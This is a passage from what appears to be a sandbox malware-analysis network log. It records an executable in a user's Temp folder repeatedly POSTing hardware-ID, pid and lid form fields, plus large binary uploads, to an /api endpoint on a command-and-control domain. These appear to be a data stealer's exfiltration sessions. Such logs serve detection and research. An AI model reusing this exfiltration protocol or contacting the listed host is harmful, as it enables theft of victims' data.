--be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:46 UTC	1021	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=figrfu9v0sasupk711llkagli3; expires=Sun, 23-Feb-2025 14:43:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M5g%2FES5V8jaPe0V%2FlHu3HZfUUy9WJhzUCz7Og5Ap42kLT7o3wx7mSGhu9Xd78Bv%2BhCO2nJPcqNuApDV0h63AZCU4rUAUsjpibckNp%2FUBXYj3oTG1PyZd81%2BxqYaJrb8gjwtzy5g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae50534ace0bac-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2034&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13782&delivery_rate=1308039&cwnd=251&unsent_bytes=0&cid=295b969a8defc673&ts=856&x=0"
2024-10-30 20:56:46 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:56:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50282	188.114.96.3	443	6552	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:49 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-30 20:56:49 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:50 UTC	1022	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l9tvdc54h7a2s6p8vu3eto82iq; expires=Sun, 23-Feb-2025 14:43:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mXv%2Fm5OR7Z8NuXRheXxUTt%2FQsayTfEkQL264Vxf6YvHWuZL0H0N4W%2FU23jAD%2BCwhongOpdO%2B3xB7809eU%2FL6tyfzxR8r3ueLsRoo83ZJva9RTfyJz3dWL6in8bS1uy4e5DcfyDE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae506f7cad476e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1872&sent=8&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16024&delivery_rate=1664367&cwnd=246&unsent_bytes=0&cid=3a50e84b596c020c&ts=832&x=0"
2024-10-30 20:56:50 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:56:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50290	188.114.96.3	443	6552	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:52 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-30 20:56:52 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:52 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-30 20:56:53 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jh2ldc0trhl9arora0rem48vh5; expires=Sun, 23-Feb-2025 14:43:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UOlPCoGeoN0FfYJLhzJj4xYNFsgTtX3X9%2BRtykz8mDUKk3F41uCBNhU3uMLWSZ1ggQWRCmT2D%2BgDyhciO53%2FKe50kwcK91MLL6XzH%2Fx1YcV5dl8VUKimgOYDFEsfuPVz2xZBdR4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae5080befee716-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1533&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21536&delivery_rate=1824826&cwnd=251&unsent_bytes=0&cid=5902c9451702420d&ts=660&x=0"
2024-10-30 20:56:53 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:56:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50294	188.114.96.3	443	6552	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:56 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1338 Host: necklacedmny.store
2024-10-30 20:56:56 UTC	1338	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:57 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=giq97sik0v472m38klce7kj6fg; expires=Sun, 23-Feb-2025 14:43:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ja34Jt0BFtn44sm8Zlcam%2FssD688BpoEPG2ilZonZoqvmi07KFkf5s6x0tDlCutM%2B7R651NJNhCvlaVjLyZYWi2GipIrR9go%2FNq0kUPjmNZWrQcF0g1UUaQvHz9mVCReggZ7G%2Bo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae509bf9cc465f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1878&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2257&delivery_rate=1547835&cwnd=247&unsent_bytes=0&cid=6b3d76d60a439c00&ts=503&x=0"
2024-10-30 20:56:57 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:56:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50296	188.114.96.3	443	6552	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:59 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552781 Host: necklacedmny.store
2024-10-30 20:56:59 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:59 UTC	15331	OUT	Data Raw: 20 4d 5f 14 40 03 76 4b ad e2 b8 ac fd e1 27 7b f3 f2 a4 e2 0e ec e9 c7 96 05 b3 c4 e8 1e 3a 78 d3 b7 31 bc 66 9a 02 f0 f9 2d 5f f0 27 cb 9d f5 06 a6 6c 6a 31 d7 d6 1f 86 cf 4a f5 37 49 ad bc 9b 6a 96 1b fb 66 40 52 9a c1 7d 29 d4 50 84 b7 84 16 3f f4 5a 68 fe 53 db 3f 86 b1 c6 c8 58 d5 e4 20 0c b2 7c 4e 66 12 d2 03 21 c9 ad 39 6d d7 f8 44 d1 fd 86 c6 0f 8d df 87 4c 46 91 95 ef 39 d8 42 79 06 08 75 85 af 46 2d 43 be c4 f8 84 a0 b9 d5 c2 55 f7 12 68 ca b9 e0 a9 e5 1f fa cc 1b 0d 4d 33 e8 1a 7c ae 27 74 57 fd 07 be 2f f6 98 52 31 2e 2d 3c a0 c4 de 43 50 20 58 0a bf 79 6d d2 3a 51 80 b2 34 a9 f6 3d 29 2c ea c2 56 74 f0 89 c8 fd 74 af 3f 64 ca da da 5c 50 a1 2b 38 32 b8 aa c8 e8 bb 63 8f 04 c7 91 e4 c3 38 ff 44 c8 dd 01 d4 92 9b 21 38 88 3b 26 31 4a f1 67 6f Data Ascii: M_@vK'{:x1f-_'lj1J7Ijf@R})P?ZhS?X \|Nf!9mDLF9ByuF-CUhM3\|'tW/R1.-<CP Xym:Q4=),Vtt?d\P+82c8D!8;&1Jgo
2024-10-30 20:56:59 UTC	15331	OUT	Data Raw: c6 71 06 97 a3 6a 95 28 5f ff 20 b7 5f 58 7e 2a 78 b3 cd 4d 21 20 ad 0c 07 ee 97 50 01 56 58 02 55 9b 6f 98 8e 4b 4b 25 9e 08 73 de f3 4c b8 35 4b c3 3b 3b b6 ee 59 7a 4c 1d 65 40 d2 db 8b ab a2 24 74 ed 38 39 11 f5 56 b2 30 10 fd 69 98 12 17 1d 47 c1 ed 6e 43 dd b9 2d ea 13 ca 27 e6 91 22 e3 10 e1 66 73 02 2b 0c f1 fd 69 5c 70 45 b8 11 e5 9f 38 87 78 19 a0 a4 5c ca bf 50 db 11 8c d0 17 9c ad cd 60 48 6c ad ea 1b cf 28 fd 1e ad 32 1e ab ad 50 9e ea 4d 50 c1 67 c7 45 60 4a b7 dd da 88 f5 cc 4a 76 c6 60 d6 b7 82 54 53 85 b9 45 c1 23 2d 91 2c f7 85 df 38 e1 23 91 96 76 13 39 15 6d da 71 6b 9c 26 96 7b 41 d3 0c df 5c f3 b8 f1 d5 3b e1 a1 cd f5 23 eb be a6 b4 00 d1 36 b9 d4 88 3b bd ab 5a e4 af be c4 36 c3 8e 70 59 e6 b9 9a 3c 44 3b 6e 42 32 53 da 47 b0 fa 54 Data Ascii: qj(_ _X~*xM! PVXUoKK%sL5K;;YzLe@$t89V0iGnC-'"fs+i\pE8x\P`Hl(2PMPgE`JJv`TSE#-,8#v9mqk&{A\;#6;Z6pY<D;nB2SGT
2024-10-30 20:56:59 UTC	15331	OUT	Data Raw: d9 ed fa d7 51 84 d1 d3 26 8e 68 cc 92 3b 51 ae 7e f3 e0 2d 01 86 8e dc d9 1f 7e 5f d2 8c ff 7b 67 2b c4 d0 8b 0e ea 7b 3e c7 ff 23 84 d0 01 e6 d4 91 9f 51 d8 2a c0 83 73 78 3b 0c e0 dd 39 e4 b1 74 67 72 f6 ff 3d 3b fc 14 e8 3a 83 b4 60 18 b9 69 40 ef 4e bf 0a ac dd f1 0d ed 7c 20 7e d6 bb 43 a7 2f d2 ad 58 ec e5 ab f4 80 16 0b 34 f9 1f d8 43 38 4e 02 de e3 12 56 aa 0a a4 ce 8b 32 3a ff 3c a1 33 b6 0f c3 8e 04 9b 62 9c df 69 9b 26 3c e0 e1 43 99 46 ea e4 fa e1 08 ea 7f 7f fc a6 14 ce ff 93 13 21 c6 77 33 c9 0c 76 08 04 82 64 c6 af 40 55 46 59 29 3d e9 06 a9 02 35 7d 91 fa 4d 80 91 2e 21 8e 86 93 1f c7 11 38 d1 25 62 2b bf ad c2 8f 7a f4 f1 7e c5 39 52 1b 77 35 e3 f7 34 2b af d4 69 65 29 26 8e 24 b9 a4 a3 c3 fb 4c 0f 56 a2 d9 d9 f8 b5 15 c7 35 61 81 dd 82 Data Ascii: Q&h;Q~-~_{g+{>#Q*sx;9tgr=;:`i@N\| ~C/X4C8NV2:<3bi&<CF!w3vd@UFY)=5}M.!8%b+z~9Rw54+ie)&$LV5a
2024-10-30 20:56:59 UTC	15331	OUT	Data Raw: 51 a6 ad 28 53 07 f5 e1 ab f8 57 fe 5b c5 20 ea bb 73 20 a7 bb 4b 6d 28 3d 90 ed 97 c6 b2 5a 33 39 7b 89 5c b5 e9 b7 a6 8f c7 4f 1c e7 bc 3b 3f c7 27 85 3f 80 a7 23 78 95 85 73 7d 1b de 1c 76 23 0d c9 49 7c ec 86 78 d3 64 a6 d1 07 85 ba ea c5 91 ce 8a 40 c9 df 67 94 19 0a 22 af 00 1d cf f1 d3 ce 8c 0e eb d0 f0 80 90 97 1c 13 82 38 de 40 89 89 2d be 41 46 91 43 71 2c 61 bf 9d 71 04 f2 63 c7 e5 ed 8e 11 93 0a 0c 64 85 f6 ed 39 c7 72 3f 75 c2 4b 4c 47 6c fb e7 f2 49 4d cc 7d b9 d0 3b ff 4e 27 b9 cf cc 90 d2 d6 24 37 13 bd f1 fb c0 b9 0f 4e 4d c6 9d 07 c1 cb c3 49 9e 7c 9c a5 3e 58 5b fb 34 a2 15 71 4d 21 d8 30 ed 8b 72 7f 37 84 68 71 4e 1d 1f 54 0c bd fc ef 2d a8 c2 c2 e7 e2 42 d6 59 97 40 5c 29 c4 20 c0 5f 03 31 96 10 48 9d 63 14 da 64 5e 90 d0 35 fa 01 65 Data Ascii: Q(SW[ s Km(=Z39{\O;?'?#xs}v#I\|xd@g"8@-AFCq,aqcd9r?uKLGlIM};N'$7NMI\|>X[4qM!0r7hqNT-BY@\) _1Hcd^5e
2024-10-30 20:56:59 UTC	15331	OUT	Data Raw: 3f 0f b4 9d 59 ae 78 87 81 26 eb 70 01 c6 49 79 21 64 ce d7 1f 78 96 fb 73 ee 11 29 02 60 da d6 5b ea 40 aa 9b 40 0a 75 68 a3 09 0d 0f 73 42 dc ce e6 af 73 66 ab 13 4a 8d d8 dd 52 a8 57 1a ac 76 ec 44 0f ac 68 d5 03 af 19 fe be 42 c2 11 c0 02 6b f9 0f 81 f5 05 7e 4d 7e 70 04 51 48 01 3a 6d 0b fc 39 19 b5 24 6d 4e 0c 2b a3 82 2b 06 aa de 79 fb ac 0c 7d 56 db 9a 67 8f fd e7 ad c0 11 06 ce 61 67 b0 20 96 17 68 2e b4 30 f9 8b ff 1c c7 a1 78 5e 68 d9 7d 8e 19 b2 ff 2a a4 5b 23 9d 32 2d a8 12 15 d1 9b bd 19 21 af 8a 90 66 d6 37 9f 24 47 4c 99 0b be ab d0 34 19 d0 f1 28 89 3c 44 5e f3 ec d0 9b ff 50 70 c0 c4 ef 37 ce 48 0f 2b 01 54 b0 51 a6 00 be 62 ad 8e 86 62 31 60 eb a9 b4 8e 0a c8 25 f8 da 69 42 1f 69 70 eb 65 88 61 29 b7 13 27 c2 60 a6 78 d7 ed 99 17 e3 a9 Data Ascii: ?Yx&pIy!dxs)`[@@uhsBsfJRWvDhBk~M~pQH:m9$mN++y}Vgag h.0x^h}*[#2-!f7$GL4(<D^Pp7H+TQbb1`%iBipea)'`x
2024-10-30 20:56:59 UTC	15331	OUT	Data Raw: ae 8d 4b fb 02 7f 93 4c 03 88 f2 8f 9f 9e 08 af d8 8f e6 e5 6c 5a a0 86 ed 49 88 50 9b 59 b1 d6 f5 33 e7 88 0a cf c8 f9 b8 63 db 2d 1e 6b e5 09 fc 19 ed 32 55 85 2e ff b7 0f cd 88 d1 b0 1c ff 55 9c 56 2d 21 e3 0f 9f df e9 5a c0 56 95 40 75 e1 9e 04 6a fd 38 61 93 79 34 ea bd b8 d6 38 f8 96 7a 22 2d 44 22 53 79 02 61 c7 a4 d8 87 ff e1 cb 53 64 91 10 ec 93 e7 ca 7e f7 07 37 df cb af 99 b5 d3 e6 e9 73 d3 2a 4b 30 62 87 e1 5e 4f be 93 14 71 74 52 0b 45 bb b7 d5 26 36 1a f6 1b 7d 53 af 39 de 9b 9d dd 56 02 59 3b 88 f0 53 f8 37 24 f0 57 1d 62 ff 0c 12 a5 60 3c e2 6d 4b db 21 9c 9a c2 c9 4b 0d ef 8c 51 5d 65 45 f7 14 72 12 35 c7 39 ae 2f 93 f0 56 f7 48 b3 86 7e d8 eb e7 64 68 89 de 09 70 5b 29 4b 60 aa 73 aa c0 1f b5 b7 cc 75 d0 a6 c5 24 cf bc dd 00 21 09 de 06 Data Ascii: KLlZIPY3c-k2U.UV-!ZV@uj8ay48z"-D"SyaSd~7s*K0b^OqtRE&6}S9VY;S7$Wb`<mK!KQ]eEr59/VH~dhp[)K`su$!
2024-10-30 20:56:59 UTC	15331	OUT	Data Raw: fa 9f c4 58 af e3 b8 c5 c3 10 09 94 dc 38 c7 37 76 d5 43 22 e8 35 92 c6 bf 4f f4 8f c9 b6 41 79 90 a7 11 ac f1 d6 58 7d 56 89 50 82 84 7f 21 eb 5f 5c 4f aa 56 42 63 9b dd db c5 ca f7 9e 73 48 af c4 f8 06 12 c8 84 86 32 2d 0a f6 d2 0d c2 40 8c b6 21 5e a8 61 c4 38 c4 b7 c3 fd e2 43 ec a5 3a 03 79 7c 31 ea 4a 3a e1 ee 61 b3 16 ef 4b 0f 08 99 4e 7e ec df 74 cb ec 1a e0 17 45 d5 fe f7 64 bc 38 38 24 f9 68 b7 df a0 70 31 70 77 7c ab 08 66 e5 10 13 a4 fc 00 8e 2f fa d4 17 75 da e9 e3 a4 af 34 67 4d 51 fa 52 63 74 13 12 35 90 56 0c 0a 87 f8 10 01 8a 50 6b 4f bf 45 b8 a1 f5 6a 8b a5 d4 39 5d 7c 7b 04 2d c0 bb 50 02 3c 85 89 ef 2e 08 93 72 1f 61 17 83 d6 fa 8f c4 18 fa 83 9d 29 91 be e7 4d 18 85 ef 52 97 ac 76 0e ca 17 1d 6e 40 90 9e a0 61 29 84 98 cc db 13 5a 3f Data Ascii: X87vC"5OAyX}VP!_\OVBcsH2-@!^a8C:y\|1J:aKN~tEd88$hp1pw\|f/u4gMQRct5VPkOEj9]\|{-P<.ra)MRvn@a)Z?
2024-10-30 20:56:59 UTC	15331	OUT	Data Raw: d4 9d c3 32 37 39 2a d3 fe 9c a3 a1 42 c7 2d ca f0 4b ac f2 7c 77 3f cc eb 7b b6 cf ea 02 32 58 89 0a d3 1e e4 07 d1 4c 95 3b b5 b4 60 e6 23 1c 7e 52 a5 dd 7e a1 1a 55 56 cf 5a 0c e6 e7 21 f1 10 92 bd 47 41 98 61 ad 9f fb 82 e8 87 fa ad 32 f4 c3 7b 38 93 22 8e a7 76 5a 7b 0b 5c e4 c8 66 e3 89 78 85 01 d6 58 50 81 97 59 4c 5c f4 ad 0a eb 2e d5 c1 56 f8 f7 8a f8 be d8 0d b1 9b dd 2c 55 de a0 4a b5 e8 ef 4d 66 dc e6 fc 87 d6 63 c3 0f dd a3 42 9c 08 f5 fb fb 47 94 56 99 ca e1 09 21 6a 21 43 65 51 08 fa ee f4 f8 30 50 16 c6 f7 02 5e 93 9e e3 a7 3d 58 5e ff 35 0c 9b ff f6 2e ef 02 b8 89 d4 9f c7 85 c0 b1 f7 f6 66 c4 e7 c5 48 f7 a6 0f 15 86 bf 6b e2 05 0a be 65 33 26 0e 17 8c 72 c3 27 0f e8 51 27 c7 3c 8e 3f a9 25 03 3d b1 69 80 70 bf 54 50 06 15 54 54 63 e9 51 Data Ascii: 279*B-K\|w?{2XL;`#~R~UVZ!GAa2{8"vZ{\fxXPYL\.V,UJMfcBGV!j!CeQ0P^=X^5.fHke3&r'Q'<?%=ipTPTTcQ
2024-10-30 20:56:59 UTC	15331	OUT	Data Raw: eb d4 be d1 69 29 d6 8f cb 89 f2 91 20 74 0a 8f 62 d4 29 8c 0b 21 f0 12 6c 71 7d 09 a2 04 f3 c9 b1 34 7c 8a 8f 8b 83 b8 ec d5 a6 c2 0c bd f8 10 fe 43 5c 0c 4a 16 52 5f 10 2b 92 35 8e 98 4b e1 25 54 7e 9a c4 bf 69 91 ac 37 0a 22 b4 4a c3 7b 1f ae b9 26 98 4a 81 5e 93 0a 94 46 88 83 6c 04 a1 f7 e6 1e 56 72 eb 8f 4f a9 16 c6 07 d6 a7 1e 25 e1 35 84 db df e1 81 71 d2 e6 f9 09 fe fb e4 8f 3c 1b 50 7d a0 45 e0 7d a1 4e a8 f7 bc e2 a5 af 71 91 74 5b e6 42 84 fb c0 84 a9 de e7 60 9a 26 ba c6 c8 b8 4b 17 84 ce ff 9c ce 30 1a 88 fa a4 cd 71 1d 6f 59 b7 69 d9 ec e0 1b 8d 69 15 44 f8 f4 90 7e e0 02 ef 5f 33 7e bd 85 68 6c 42 7f 2c 61 b3 a8 72 a2 de 7d 20 99 37 23 ce fa d5 93 5c f9 66 70 f3 79 e5 fa 80 4d 39 ed 26 eb d7 9c 42 01 6d 91 15 c4 3d 27 0a d1 16 87 08 01 a4 Data Ascii: i) tb)!lq}4\|C\JR_+5K%T~i7"J{&J^FlVrO%5q<P}E}Nqt[B`&K0qoYiiD~_3~hlB,ar} 7#\fpyM9&Bm='
